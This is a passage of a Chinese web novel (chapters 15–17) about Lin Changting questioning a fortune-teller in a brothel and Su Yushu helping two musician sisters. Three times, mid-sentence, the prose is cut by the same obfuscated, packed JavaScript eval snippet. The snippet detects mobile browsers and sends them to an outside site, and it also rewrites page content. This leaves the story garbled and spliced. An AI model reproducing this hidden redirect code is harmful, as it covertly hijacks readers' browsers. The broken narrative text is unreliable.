“哟,这位官人。”她表情一愣,转而又堆满了笑容,“官人若是点名,自是能安排的,只是青莲院是师城里最大的教坊,不知您是何许人也,可有这……” 林长亭当即从怀中摸出一锭官银,他热络地牵起妈妈的手,把这锭银子大力地拍进她的手中:“我本是外地来师城经营的商户,早就听说师城富饶有趣,不知这点银子能否够我一夜风流?” “够的!自然是够的!” 一旁的小厮十分有眼力见,当即躬下身子,走在最前面为二人引路。他的模样恭敬又谄媚,声音高亢洪亮: “二位大人楼上金珠阁请上座——” 15. 第十五章 “二位官人稍坐坐,一会儿云姑娘就来了。这是我们青莲院里最好的酒,唤作红袖香,二位官人请尝尝!” 虔婆热络地为他们二人满上了酒,继而陪着笑脸退了房门出去。看着缓缓合上的房门,叶英捧起来面前的酒杯一饮而尽,不住地喘着大气。林长亭笑着看了看面红耳赤的少年,声音也放得轻了些: “叶英,没事的。” “少爷,这种,这种地方以后咱们还是不要来了吧……”叶英的眼神有些闪躲,他自小跟在林长亭身边,什么脏活没干过,可他哪里接触过什么女孩子,更不要提是这青莲院里的莺莺燕燕了。 林长亭又笑了笑:“等回了京城,自然是不用再来了。等办完事,大不了你从窗户出去就是。” “那不行,我得保护少爷的安全。” 两人对视一笑,倒是在闹中取静了。楼下的丝竹声不住地飘上来,像是纷乱的丝绸一样包裹着他们的耳朵。门“吱呀”一声被推开,林长亭预料之中的美人儿没有出现,反倒是刚才的虔婆一脸歉意地站在门口: “二位官人,实在抱歉。我们的云姑娘她现在,她脱不开身呀……有位客人今天也点了云姑娘,要不,要不您二位在姑娘里面挑挑?我们青莲院还有许多漂亮姑娘呢,不止她云姑娘一个,两位……” “哦?”林长亭心下已经明了,他故作不依不饶的模样,“敢问妈妈一句,是我的银两不好使吗?” “不不不,小店怎么会和客人,和客人的银子过不去呢……” “那就是不够多了。” 他挑了挑眉,又满不在乎地从怀里掏出一张银票:“现在呢?够了吗?” 那虔婆的眼睛一下子瞪得老大,她小心翼翼地把银票捧在手里,对着光亮看了又看,一张脸几乎堆不下她笑出来的褶子: “够够,尽够了!您再稍等等,云姑娘马上来!” 看着她喜滋滋地颠出去的背影,叶英忍不住凑到林长亭的耳旁:“少爷,咱们从京城来的时候没带那么多钱啊,您省着点花。” “没事。” “什么没事?” 林长亭狡黠一笑:“这是苏小姐给的。” “她还给您钱让您出来嫖……” “你说什么呢!”林长亭差点被他这一句惊掉了下巴,“这是什么话!我们来这儿是查线索的,你真当我带你来……来那什么呢!再者说,苏家是师城首富,她苏玉淑比我有钱不是再正常不过!” “两位客官久等了!” 两人正吹胡子瞪眼睛呢,虔婆来了个梅开二度,只不过这次她身后跟着一位女子和两个丫鬟,想来就是她口中所言的青莲院的头牌——云姑娘了。 “云儿见过官人。” 只见这女子向前两步,温柔地向二人行了礼。她的声音不甚透亮,却清丽婉转,叫人听了不免沉醉。云姑娘抬起头来,她的头发并没有完全扎起来,一支南红玛瑙簪子配着赤金蝴蝶红珊瑚步摇挽起了一个松散的发髻,剩下一半的头发披散在脑后,黑亮柔顺还散发着一股淡淡的花水气味。她身着春梅红的襦裙,外搭一件玉红色的罩衫,腰间系着的淡米粉色的丝绸腰带上配着一枚碧玺碎珠禁步,随着她的身形一摇一摆却没有一点儿声音,更显得人优雅得体。 “两位官人,这便是云姑娘了,你们慢慢撩,若是还需要点别的再使唤人去叫。云儿,好生伺候两位大人,莫要轻慢了!” “是,妈妈。” 这位云姑娘倒是十分周全,竟向着已经出了门的虔婆行了礼。她转过身来跪坐在二人身前,微微颔首: “不知如何称呼二位大人?” 叶英不知所措地看向林长亭,林长亭还是一贯的泰然自若:“云姑娘不必拘谨,我二人姓叶,乃是泽州来此经商的表兄弟,你唤我们大公子二公子便是了。” “是,公子。”云姑娘帮二人满上酒,又净了手将点心小菜悉心为二人摆好。她看向站在身后的丫鬟,两个丫鬟立即奉了手中的玳瑁指甲和筝来。 “云儿的筝一向是为大人们所钟爱的,不知今日二位公子可要听些什么?” 看着又投来求助的目光的叶英,林长亭略略思考: “那就有劳云儿姑娘弹奏一首西江月吧。” “是,大公子。” 云姑娘佩戴好指甲,将古筝摆好在桌台之上。她的手宛若柔夷,白皙的皮肤上还能看到隐隐凸起的血痕,十指纤纤骨节圆滑,不愧是青莲院的头牌姑娘,仅看这一双手都不知比旁的人要美上多少。 她将双手轻按在筝弦上,房间里的空气几乎都随着她的动作凝固下来。只见烛火一阵晃动,云姑娘手腕轻抬手指微微发力,清泉一般的声音登时充满了屋子。楼下的丝竹声虽好,可是此间的筝曲却更妙,西江月本是一曲轻快的曲子,虽然技巧简单,可想演奏得俏皮又不失稳重却难。云姑娘筝上的功夫十分扎实,撮弦有力按音柔和,琶音平缓刮奏写实,一手的功夫就算在京城的教坊里也是数得上号的,这的的确确是上佳琴声。 林长亭也是许久没有听到过这样好的琴声了。想他还身处京城之时,倒是还有许多年龄相仿的朋友时不时风花雪月一场,只是年岁见长,各家有各家的事,大家也是少有雅兴。 婉约的琴声险些令他忘记身处何方所为何事,他深吸一口气,举起酒杯潇洒一碰,一饮而尽。叶英看着自家少爷,想说些什么,却还是什么都没说。 哪怕只是一时半刻,能让他心安一会儿也好。 砰—— 正当二人对酒当歌之时,木门突然发出一声巨响。叶英握紧了匕首刚要向前刺去,却被林长亭手疾眼快地一把拦下。 “我倒要看看是谁占了老子的女人!” 刚刚紧闭的大门被人一脚踹开,吓得云姑娘松了筝歪倒在地。门口正杵着一个衣衫不整的老头儿,吹胡子瞪眼地看着屋里几人,满身酒气嘴里还不住地骂骂咧咧。在他身旁站着几个小厮和虔婆,几人试图上前拉人却被那老头用铜板不住地砸,进也不是退也不是。两个丫鬟虽害怕,却还是慌忙把自家姑娘扶起来挡在身后,三人瑟缩在一起,不知这人究竟要做些什么。 青莲院里的妈妈眼见大事不好,先是招呼了几个打手,又上前陪着笑脸:“卜微先生,您别急,是这两位小官人先点的云姑娘,咱们都是熟客不能坏了规矩不是……您这样,您这边厢房请,我把其他的姑娘给您叫来,您随便挑!” “我去你的!”这老头儿一把甩开虔婆的手,抖楞两下衣服神气道,“当我没钱是吗!我在你青莲院花了多少你没数吗!两个毛都没长齐的小子,也想跟我争,告诉你们,识相的话就快点滚,不然我就作法咒死你们!你们信不信!” 叶英既要忍着杀人,又要忍着笑,他的脸憋出一个奇怪的表情,只能努力抬头看天花板才能绷住。 这老头儿见这少年都不用正眼看他,更是气儿不打一处来,他左右推了小厮和打手几下,竟然径直走向屋子里来,伸手就要拽云姑娘。云姑娘被他吓得不轻,连连后退,她求助地望向林长亭,却也不知是否可以开口,又能说些什么,只能低下头去,任由这老头儿挒着自己的胳膊。 “何苦和小姑娘过不去呢。” 云儿只觉得胳膊一松,当即便能坐直了身子。她抬眼看去,林长亭手中握着一柄紫檀竹骨扇挡在她身前,面若春风淡定微笑,而老头儿却退了几步正捂着手背一脸的不可置信。 “兔崽子,你敢打我?”他左右呼喊着围观的一群人,“看见没有!这杀才敢打我!” 四下人们都没说话,就连那油滑的虔婆也没帮他说一句话。 眼瞧着自己没理,他索性撸了撸袖子,露出干柴似的胳膊:“打我?我今天就教训教训你这个小王八羔子!” 这老头儿说着就摇摇晃晃地向林长亭扑过来,叶英知道少爷对付他绰绰有余,便揣了手在一旁看戏。只见林长亭一个侧身躲过,这老头儿就扑了个空,腿还磕在了一旁的桌腿上,忍不住“哎哟”一声。旁人忍不住发出的嘲笑声更刺激了他,还来不及捂着撞疼了的腿,他又扑了过去,活像一只断了翅膀的瘸腿公鸡。林长亭这次连躲都懒得躲,他手握扇柄,如同紧握一把利剑一般,直朝那人面门刺去—— 这扇子就正正好好地定在老头儿脑门正中间,场面那叫一个尴尬。 “您也不想我真的戳烂您的头骨吧?卜微先生?” 老头儿的酒被戳醒了一半,却还是梗梗着脖子不肯低头。周遭的人群不住地发出嗤笑声,臊得这“先生”脸上青一阵红一阵,活像个跳梁小丑。 林长亭收了手,“唰”地打开扇子扇了几下,颇有玉树临风的气质: “卜微先生 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16457798|185365||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,听说您擅长算卦问天啊,不如您替我算上一算,今日这事也就罢了,如何?” “算?你算个屁!”老头儿揉着自己的脑门,见门口还有一群人围观调笑更是急着关门,“罢了罢了,算算算,你说算什么就算什么行了吧。你们笑什么笑!还不快滚!” 众人做鸟兽散,只剩云姑娘还抱着筝愣在屋子里。 “还有你!你也滚!要不是你个臭娘们儿我能丢这么大的人吗!还不快滚!” “是,是。” 一滴泪从她的眼角适时地滑下,她抬头看了看林长亭,向二人颔首行礼,既是致谢也是致歉。云姑娘擦了擦泪水,动作轻柔得像一只受了委屈的小兔子。她抱了琴带上丫鬟走出去,还不忘将门带好。 “说吧,你想算点什么?”老头儿大咧咧地坐在了主位上,捏着小菜就往嘴里送,一副嘴脸看得叶英直攥拳头。 林长亭还是平时那副样子,语气也没什么波澜: “我想算算这杜家……几时会亡呢。” 卜微先生手底下一停,他抬眼看了看林长亭,又往嘴里扔了颗果仁儿。 “京城来的?” 林长亭没有说话。 “伸手。” 林长亭照做,卜微在看到手心的一瞬间身体便僵直住了。他仔细观察着手上的每一处纹路,摩挲着,感受着。忽而他像疯了一般,踉跄着扑到窗前,将窗户猛地推开—— 裹挟着微微的热浪的晚风一下子涌入房内,席卷起满桌画卷。此时正是一丝乌云都没有的上弦月夜,星辰在黑夜中闪闪发亮。 “心宿三星,一色赤,二星闪,三星明……虚宿北移,哭星发黑,天厨星入命,天枢降世……” 无垠的苍穹在卜微先生的眼中宛如一个巨大的书卷,上面写满了人们的生平往来生老病死,而他只是一个窥探者,一个阅读者,他只能静静地旁观着这世间的时移世易而不能有丝毫的左右。他是个混迹勾栏瓦舍的市井泼才,可却也是道中之人。倏然间,卜微先生突然转过身来,不知何时竟已泪流满面。 卜微先生就这么看着林长亭,他的目光之中掺杂了悲悯与崇敬,又是那样的无可奈何。不知过了多久,他终于长叹一声,跪倒在林长亭面前—— “世事艰难,只盼……只盼……罢了。” 叶英有些着急,他生怕这品行不端的道士咒了他家少爷。他一个箭步上前,紧紧拽着卜微先生的领口,狠狠威胁道: “你有话便说!再吞吞吐吐的我要你好看!” 卜微并未挣扎,只是摆了摆手:“各人有各命,正所谓天机不可泄露。也罢,我赠你一句便是。东启天命争战难免,存善念,救苍生,护社稷,惜瑞琮。” 林长亭少有地愣住了。直到叶英摇了摇他的胳膊,他才回过神来: “林……卜微先生,长亭谢过。” “我知道你所求何事。”这老头儿抹了一把脸,不住地咋舌。他踉跄两步,像被抽光了浑身的力气似的,瘫坐在桌前,自顾自地倒酒喝。几盏过后,他终于又开了口: “杜家发财的关窍不在杜老爷,自是有人替他行事。师城以东二十里西坡山脚下,沿着河往上走,找到一处蛇形巨石,您自然可以找到您想要的东西。只是别的,恕小道直言,不便泄露。” “长亭谢过先生。” “走吧?别在这儿打扰我喝酒寻乐子了,有道是今朝有酒今朝醉,你们在这儿只会碍着我的事儿!” 这老头儿的态度竟一个转弯,叶英被他弄得一头雾水。可林长亭却向他行了礼并在桌子上放了两张银票,带着叶英转身离开。 两人躲了众人视线,选了一处后门默默离开。当他们再次站在街道上时,已经是四下寂寥,喧哗不再,只有身后的青莲院还闹哄哄的不肯休息。叶英深深地呼了一口气,好像是刚从监狱里放出来一样的兴奋。终于是可以回家了,虽然不知道那臭道士嘀咕什么,可是他家少爷是什么人物,他心里最是清楚。今天吃到了苏小姐家好吃的蜜瓜,还跟着少爷打探了消息,晚上也不是自己当值,可真是完美的一天。 主仆二人相视一笑,青石板路上已经稍稍蒙了一层水滴,踩上去有些湿湿滑滑的。他们行至巷口,身影刚要融入黑暗,身后却传来一声哀戚的悲鸣: “求求官人!求求官人救救我妹妹吧!” 16. 第十六章 “求……求两位官人,两位大人救救我妹妹……” 两人循声望去,云姑娘不知何时竟跟了下来,正跪倒在湿滑的石板上,裙角沾染上了些许脏水,上好的绸缎被晕成一片灰色。 “云儿姑娘,有话不妨起来再说。” 叶英听闻走上前去伸出手:“云姑娘,请起。” 可是云姑娘却摇了摇头,倔强地坚持跪着。她抹了一把眼泪,凄然道: “云儿先向二位大人请罪。云儿见公子身手不凡,出门时便偷听了一耳朵,听到您言语之中似指杜家这才冒险相求。云儿救妹心切,若有冒犯还请大人不要怪罪。” “杜家?我好像并未提过。”林长亭一改之前纨绔模样,又披上了他平日那张冷漠的皮,“云姑娘的事我怕是难办,请回吧。” “大人……”云姑娘有些惊诧,她以为……她以为这位面善和蔼的公子是个好人,是不会这样果断拒绝了的。两行清泪潸然而下,和刚刚受惊的泫然若泣不同,她现下是真的慌了。云姑娘微微张着嘴却发不出一点声音,失落、无助、绝望的情绪一股脑地向她袭来,刚刚还是救命稻草一般的存在如今变成了高高在上冷眼相看的旁人,她不想接受,却又不知道自己还能做些什么。 “叶英,走。” 林长亭对面前这个如同被马车狠狠碾碎的小花一样的女子实在是一点兴致都没有。眼下最难解决的事情还没解决,他在这里本就人生地不熟处处难行,又为何要插手别人的闲事徒增烦恼。况且这样的下人,整个东梁要多少有多少,要是人人都向他求助又怎么管得过来。 叶英听话地点点头,他看着跪在地上发愣的云姑娘,心下实在不忍。他见自己少爷已经迈步前行,伸出手一个用力就将她从地上活生生拔了起来。叶英只是冲她摇了摇头,别的什么也没说。 直到双腿不听使唤地传来发麻的感觉,云姑娘才反应过来。什么颜面,什么美貌她此刻全都顾不上了,她朝着林长亭的背影向前一扑,还没碰到人就结结实实地被叶英撂倒在地。 叶英右手背到身后握住匕首厉声喝道:“大胆!” “大人!求求您了大人!就算给您当牛做马,就算您把我再转手卖了,我都愿意啊!只要您愿意伸手救救我妹妹,她才十七岁啊大人!求求您了,大人,您就可怜可怜我……可怜可怜我妹妹……” “可怜你?”林长亭转身蹲下,一轮弯月直勾勾地悬于他的头上,映得他的面庞如同鬼魅,“可怜你有什么好处?我可怜了你,下一个又要可怜谁?云儿姑娘,看在你弹得一手好筝的面子上,我给你一个忠告。与其在我身上浪费时间,不如问问别人吧。” “大人……” “是啊,与其求他,我看还不如求我。” 巷口的阴影处突然穿出一个熟悉的声音,来人看不清脸,一身玄色几乎和黑暗融为一体。她缓步走出来,明亮的月光柔和了她的面庞,青石板路上倒映着她敏捷的倒影,她一边把玩着手里的扇子一边甩了甩高高束起的马尾,俨然是一副和林长亭别无二致的公子打扮。 “苏小姐当真好雅兴,怎么也到这种风月之地来了?” 看着林长亭皮笑肉不笑的样子,苏玉淑不知怎的觉得有点恶心。她无视了身边的男人,径直走到被推倒在地的云姑娘身前,继而伸出了手: “起来。” 云姑娘犹豫一番,果断握住了这只神来之手。 是女孩子的手。 “林大人才是好雅兴。怎么听完了曲儿就翻脸不认人了吗?还是说我给的钱不够你风流一夜,只能让你做到这种地步而已?” 林长亭挑了挑眉:“苏小姐,我来这里是有正事要做的。银票是你自愿给的,我也没有做任何逾矩之事,又何必讽刺挖苦?” “哟,公子哥儿哪只耳朵听见我讽刺挖苦了?我只是实话实说,怎么,你不愿意听?那别听啊。” “苏小姐,我们少爷不是……” “闭嘴。”苏玉淑冷冷撇了还嘴的叶英一眼,“我和你家少爷说话有你什么事儿?” 叶英从来没觉得这丫头片子有这么吓人过,他不由得缩了一下脖子,乖乖站在一旁。他们两个神仙要打架便打吧,千万不要城门失火殃及池鱼就好。 “云姑娘,此处说话不方便。那虔婆找不到你也是要使唤人的,不如……”苏玉淑微微一笑,“我们进去谈,如何?” “可,可是……”云姑娘早就看出来人是个女子,她虽然救妹心切,却也不能活生生地把一个好姑娘往这里面带,要是让别人知道了,她今后可怎么做人呢? 苏玉淑摆摆手:“我知道你想说什么。从后门进去,这锭银子你拿着,就说是这俩人又回来了,别让别人瞧见就是了。” 云姑娘有些犹豫,她壮着胆子看向了身前人的脸。她虽然一身男儿装扮,身高也不矮,可是这面容却实在是有些清秀了,怎么看也不像是个男子。苏玉淑看出了她的迟疑,果断把银子往她手里一拍: “怎么,不想救你妹妹了?” “您随我来。” 云姑娘带着她从后门进去,又指使了两名丫鬟开路,七拐八拐地走到最上、最里的房间。这里远离尘嚣,最是安静不过的。云姑娘把银子递到丫鬟手里,又喊了她们把好房门。这才放心地走进来—— “你俩从哪儿进来的?” 房间里四个人大眼瞪小眼,苏玉淑一脸无语:“你俩不是不管吗?这是我花钱定的花魁姐姐,没事快滚。” 林长亭当没听见似的,笑着往旁边一坐:“你们继续。” 云姑娘也被这几个人弄得有些懵了,这……这几个人到底是何用意,到底是什么关系呢? “别管他们。”苏玉淑自顾自斟了杯薄酒,“云姑娘且把你妹妹和杜家的事说来与我听听。” 啪—— 苏玉淑手中的酒杯应声而碎。她不可置信地看向林长亭,骂人的肮脏话几乎脱口而出—— “哦,你手没好,不能喝酒。” “林长亭,你个杀千——” “绿萝会骂你。” “你这个狗东——” “石竹也会。” 苏玉淑只觉得气短:“行,行。我算你厉害。别理他,云姑娘你说你的就是了。” “是……苏小姐。”云姑娘察言观色的本事果然是厉害的,“我本原是桐城县县令的女儿……家父因事获罪,我和妹妹也没入教坊流落至此。我本名宁朝云,妹妹宁朝霞,我们姐妹二人因擅长筝和月琴,虽然入了奴籍,但在这里做了花魁娘子,一直相依为命倒也衣食不缺。可一月前……他杜家竟然看上了我妹妹,要她去做小妾!要是个好去处我自然也希望妹妹能好,只是听说那杜家妾室无数,是个不拿人当人的地方,甚至还不如这烟花风月之地!我就这一个妹妹,我怎么肯!” 云姑娘越说越激动,她取下手帕,擦了擦哭得红肿的眼睛:“我这几年攒下不少,想先为我妹妹赎了身,这样就算杜家要买也是不能够了。谁知道他家竟然直接把人抢了去,就关在这青莲院里,只等时间一到就送到杜家。他们连看都不让我看上一眼,妈妈收了杜家的钱,把我看得严严的,几乎每天都要见客,我真是不知如何是好……” “那你是想让我把你妹妹救出来吗?”苏玉淑翘着二郎腿,手肘撑在膝盖还用手指不住地点着下巴,一副帅气小哥的模样。 云姑娘摇了摇头。 苏玉淑这就有些不懂了:“那你想要我们做什么?” “云儿不敢妄想大人们能就这么把我妹妹救出生天,只盼云儿能替妹妹受苦,我自然是愿意替她的。我这些年有一些积蓄,可以交给大人们,大人们若是愿意帮我妹妹赎身,想来青莲院和杜家也不会撕破脸,到时候我去替妹妹嫁了就是。” 房间里一下冷了下来。苏玉淑这才就着烛火仔细看了看面前这位姑娘。她哭得双眼红得和家养的小兔子似的,弯弯的柳叶眉即是紧蹙也是那么好看,一张脸生得又美丽又脱尘,可以想来如果不是家道中落,她该是多么幸福风光地过活一辈子。 这样娇弱的女子居然要替妹妹嫁到杜家去做小妾,这都什么狗屁世道。 还没等苏玉淑说话,云姑娘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“哟,你还不知道呢!”这虔婆朝外面招招手,几个丫鬟一股脑地捧着胭脂水粉钗环首饰就进了屋,“苏家,咱们师城首富的苏家!他们家老爷要设宴接风洗尘,花了重金请你和你霞儿去呢!这还差使他们王掌柜的专门送来的一水儿的好东西,你们可得好好装扮!” “苏家……霞儿?霞儿也去?”云姑娘的眼睛一下子亮了起来,“我能见到霞儿了?” “你这孩子,不要声张。”妈妈左右看了两眼才柔声说道,“苏家指名要你们两个到场,我特去问了上面的人,说是不好驳了苏老爷的面子。而且你们姐妹两个……唉……也是造孽。你记着,不该说的话别说,不该问的事别问,你只见了你妹妹安心了就是。人各有命,她能被杜老爷看上是她的福气,如果你非要找死,就算是老婆子我也护不了你的。” 现下她才终于明白苏玉淑那句“做好自己的事”的意思。 泪水一下子又涌上了她的眼眶,只是这一次是喜悦和高兴。云姑娘连连点头应了下来:“是,是……妈妈,我妹妹现在何处啊?” 虔婆无奈一笑,帮她擦去眼泪:“傻孩子。霞儿在另一间梳妆打扮呢,你动作快些,两人还能说上会儿话。” 在整个东梁,好的乐师都是受人尊敬追捧的,哪怕是深陷青楼的乐妓也怠慢不得。像她们这样美貌美名在外的,有高门大户请去赴宴弹奏是常有的事情,只是没想到这苏小姐居然是师城首富之女,有如此大的本事能耐,连杜老爷扣下的人都能先要了去。 几个丫鬟手中紧赶慢赶,终于是最快的速度帮她梳妆打扮好。 “云姑娘,好了。我帮您拿着琴,您快些去楼下吧。” 她感激地对丫鬟点点头,提起裙摆向下跑去。她从未觉得自己身体如此轻盈过,这灰沉沉的日子终于有了盼头,这一场宴会如同一束阳光一般刺破了雾霭,让她又能见到这久不曾见的光亮。 在正厅门口一群人黑压压的簇拥下,一名身材纤弱的少女的背影映入眼帘。她怀抱着一把月琴,身形单薄的几乎撑不起衣服,云姑娘只隔着人群遥遥一见,便知那正是自己朝思暮想之人—— “霞儿!” “姐姐!” 二人双眼含泪,默默无语。 17. 第十七章 苏府虽是只在自家宅院之中设一场接风宴,可是排场一丁点儿都不输给杜家的师城夏宴。厅堂之上高朋满座,师城说得上号的商贾几乎悉数到场,苏家几大商号的掌柜的也列位两旁,那安字号的刘掌柜坐在首席,坐在第二位的是主营石料和瓷器满字号的齐掌柜,第三位的是主营茶叶和药材生意的同字号的李掌柜,坐在最末尾的自然是年龄最小的盈字号的王山王掌柜。 只是杜家老爷今日却并未到场。 苏玉淑坐在母亲身旁,端出一副大家闺秀的派头看着这生意场上的觥筹交错尔虞我诈。几个掌柜的互相说着进来的生意,有的摇头叹气,有的满腹经纶,有的胸有成竹,石竹端着酒壶就这么默默站在他们身后,时不时上前伺候一下饭菜。 “妹妹,你别吃太多了。” 苏玉鸿不知何时凑了过来,苏玉淑一见他就没好气: “怎么,这你也要管?” “不是呀妹妹。”苏玉鸿笑眯眯地把背在身后的手拿出来,他小心翼翼地递过一个包的严严实实的油纸包,“你拿着,别让爹看见。” 苏玉淑狐疑地接过来:“这什么啊?” “你等下就知道了,我先和爹去招呼一下客人,你乖乖的。”苏玉鸿说着用手摸了摸她的头,还稍稍揉了一把,和小时候一样。她不耐烦地拍了他的手,苏玉鸿也不生气,指了指油纸包就端着酒杯走向一旁。 苏老爷见他过来,热情地将他推向自己身前:“这是犬子苏玉鸿,大家们都见过的。以后玉鸿可是要接我的班掌管苏家的,到时候生意上还得指望老伙计们多帮衬帮衬,指点指点我这不成器的儿子啊!哈哈哈哈哈!” “哎哟,苏兄您这哪里的话!都知道虎父无犬子,你把苏家经营得这么好,玉鸿能差到哪里去哟!” “就是就是,正所谓上阵父子兵,你现在就应该让玉鸿出来多历练历练,也替你多分担分担才是!” “哎呀老苏呀,你是不是怕咱们家玉鸿青出于蓝而胜于蓝啊!年纪越来越大,心眼儿怎么还小上了!哈哈哈哈!” 苏玉鸿连忙端起酒杯:“几位叔伯哪里的话!玉鸿资质平平,哪里就赶得上父亲了。我还年轻不经事,苏家还得是父亲擎天护着才是,我算什么呀!” “你们瞧瞧这孩子,哎呀多懂事,跟你们说呀我家那小子整天的拈花惹草花天酒地,要是能有玉鸿一半的踏实稳重我也就放心咯……” 这边的相互奉承和时不时的大笑声只让苏玉淑觉得烦躁。 凭什么。 她就不是苏家的吗?苏家几个字号她难道就没有帮衬过吗?苏家的盐场都出了这样的事,他们连个屁都不知道,居然还能笑得出来。 真真是好笑。 “玉淑。玉淑?” “啊?娘,怎么了?” 苏母握住了她的手,轻声道:“娘知道你有宏图大略,比你哥哥强。只是今日你父亲跑商回来设宴,你万万不能阴沉着脸砸了你爹的面子才是。别人会说你不懂事,你要知道,他们男子天地广阔,即便做错了什么,日后也能力挽狂澜东山再起。可我们女人不一样,一步错,步步错。娘也不想你活的小心翼翼的,只是今日这么多人,若是被有心人看了去不知道背后会把你编排成什么样。你需得记着,有锋芒而不露,胸有城府,不见圭角才是做人的上上之策。” “知道了娘。”苏玉淑强行扯起一个笑脸,“我总是学不会您这样面不改色,我有什么都写在脸上。” “你往后的日子还长着呢。”苏母握了握她的手,“娘也希望你以后能嫁个好人,最好是能惯着你的脾气的,若是不用小心经营就能平安一生自然是最好的。” “好了好了娘,怎么又扯到嫁人上去了,吃饭吃饭。” 苏玉淑最不乐意听这个,她撒娇地晃了晃母亲的胳膊,伸手从她的桌案上偷了颗葡萄,惹得苏母点了点她的脑门,一副宠溺的样子。 “在场诸位!” 苏老爷一声洪亮的嗓门过来,所有人的目光都聚集到了他的身上: “在座的都是亲朋好友,今日能前来赴宴,我苏高朋自是不胜感激!今后苏家还要仰仗各位,我们有福同享有难同当,商场之上必定无往不胜!大家今日还请尽兴!请饮尽此杯!” 说着他举起手中酒杯一饮而尽,大家也纷纷站起身来端着酒杯敬苏老爷。苏玉淑也跟着站起身来,只不过她这才发现自己的桌子上放着的并不是酒水,而是闻起来苦苦的一杯液体。 “你爹听说你受伤,不许你喝酒,这才让后厨换了补药来。别驳你爹的面子,快喝了吧。” 苏玉淑扁了扁嘴,她从小到大最怕喝苦药,可是眼下宴席上所有人都端着杯子,她自然不能蒙混过关。她看着杯子里黑了吧唧的水,皱紧了眉头,一咬牙一闭眼—— 哇,真难喝。 这药苦得她眼泪都快下来了,她皱吧着一张小脸抬起头来,正对上哥哥给她使眼色。苏玉淑这才想起那个油纸包,她三下五除二打开—— 一包蜜饯。 是她从小最爱吃的糖渍梅子。 苏玉淑心下一愣,不知是苦出来的泪水还是别的什么,她居然就这么在大庭广众之下落了泪。她慌张擦了擦脸,连忙往嘴里连着丢了两块梅子,酸甜的味道立刻弥漫开来,盖过了那股苦得发涩的味道。不知怎的,她忽然就想起来了小时候,她总是跟在哥哥屁股后面,不管是摔了跤还是惹了祸,只要哭一哭,苏玉鸿就会抱着她轻声细语地哄着,蜜饯果子供着。 究竟是什么时候,她只顾自己往前跑而不回头看一看哥哥了呢。 “今日高兴,大家也不必拘礼!今天难得请到咱们师城最厉害的乐师,云姑娘和霞姑娘,请她们二人上来为大家奏上一曲吧!” 苏玉淑飘远的思绪旋即被打断,她自然是不能错过自己一手促成的这一手好戏。 云霞二位姑娘在众人或期盼或好奇的目光之中登了场。云姑娘今日打扮得雍容华贵,一身明艳茶花红丝质长裙,外搭一件汉白玉色广袖纱衣,她的头发规规整整地梳成朝天髻的式样,一颗硕大光辉的圆珠点缀期间,更显人妩媚。而霞姑娘则是清丽脱俗,她内里一件荷花白的绸缎长裙,外面则是一件海天蓝的料子,她发髻同样是一丝不苟,两人虽是姐妹,可各有各的美,站在一起更是熠熠生辉。 云姑娘望向端坐一旁的苏玉淑,眼神之中满是感激。她和妹妹一起向众人行了礼,两人在正对厅堂的外院之中坐好,一个轻抚筝弦,一个怀抱月琴,她们互相看了一眼,眼眸一抬一垂之间满是默契。霞姑娘手腕先行,月琴旋即发出轻妙动人之声,云姑娘即刻跟上,她的筝更是大气悠远,两人的演奏以筝为主月琴为辅,音节高昂快奏时筝声声声入耳,低声缓慢时琴声绕梁不绝,在场所有人人无一不被二人出色的技巧折服,心情随着节拍起起伏伏,甘做这古乐的奴隶。 “一曲《云中君》已毕,祝苏老爷也能览冀州兮有余,横四海兮焉穷。” 直到云姑娘起身谢礼,众人才恍然醒来一般发觉一曲终绝。堂下顿时响起喝彩声和掌声,就连苏玉淑也被二人的演奏深深打动。她此刻才从内心发觉,自己向云霞二位姑娘伸出援助之手的行为是多么正确,不是基于家业的考量,更不是对杜家的算计,而是为这二人身陷囹圄却依旧精进的技艺和不甘堕落的心境所折服。 “两位姑娘真是好技法!”苏老爷不住口地夸赞着,平日里玉淑这丫头和自己不甚亲密,可偶尔出个主意倒是不错的。今日把这两位姑娘请来着实是为他苏家增光不少,在整个师城里,能请得动她们的也没有几家。如今看来,就算再花上一倍的银钱也是值得的。 “王掌柜!”苏老爷向王山招了招手,“以后咱们盈字号的东西,有什么好的只管给两位姑娘送上,只盼着两位还能再来上一曲,也算是为寒舍增光添彩了!” 云姑娘规规矩矩行礼:“苏老爷您言重了,小女子人微言轻,苏老爷若想再听上一曲只要吩咐便是。” “那就有劳二位姑娘了。” 两人又奏上数曲,直到众人酒酣意醉之时方才停下。苏玉淑听完了曲子,也向母亲行了礼: “娘,女儿有些累了……” “去吧。绿萝你好好照顾小姐,换药可是马虎不得,女孩子身上留下疤痕得多难看。还有,你让石竹去小厨房取些百合薏仁糕,这两天我看着他们新做出来的,晚上玉淑饿了怕是要吃的。” “是,夫人,奴婢都记下了。” 绿萝扶着假装娇弱的苏玉淑出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16457800|185365||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 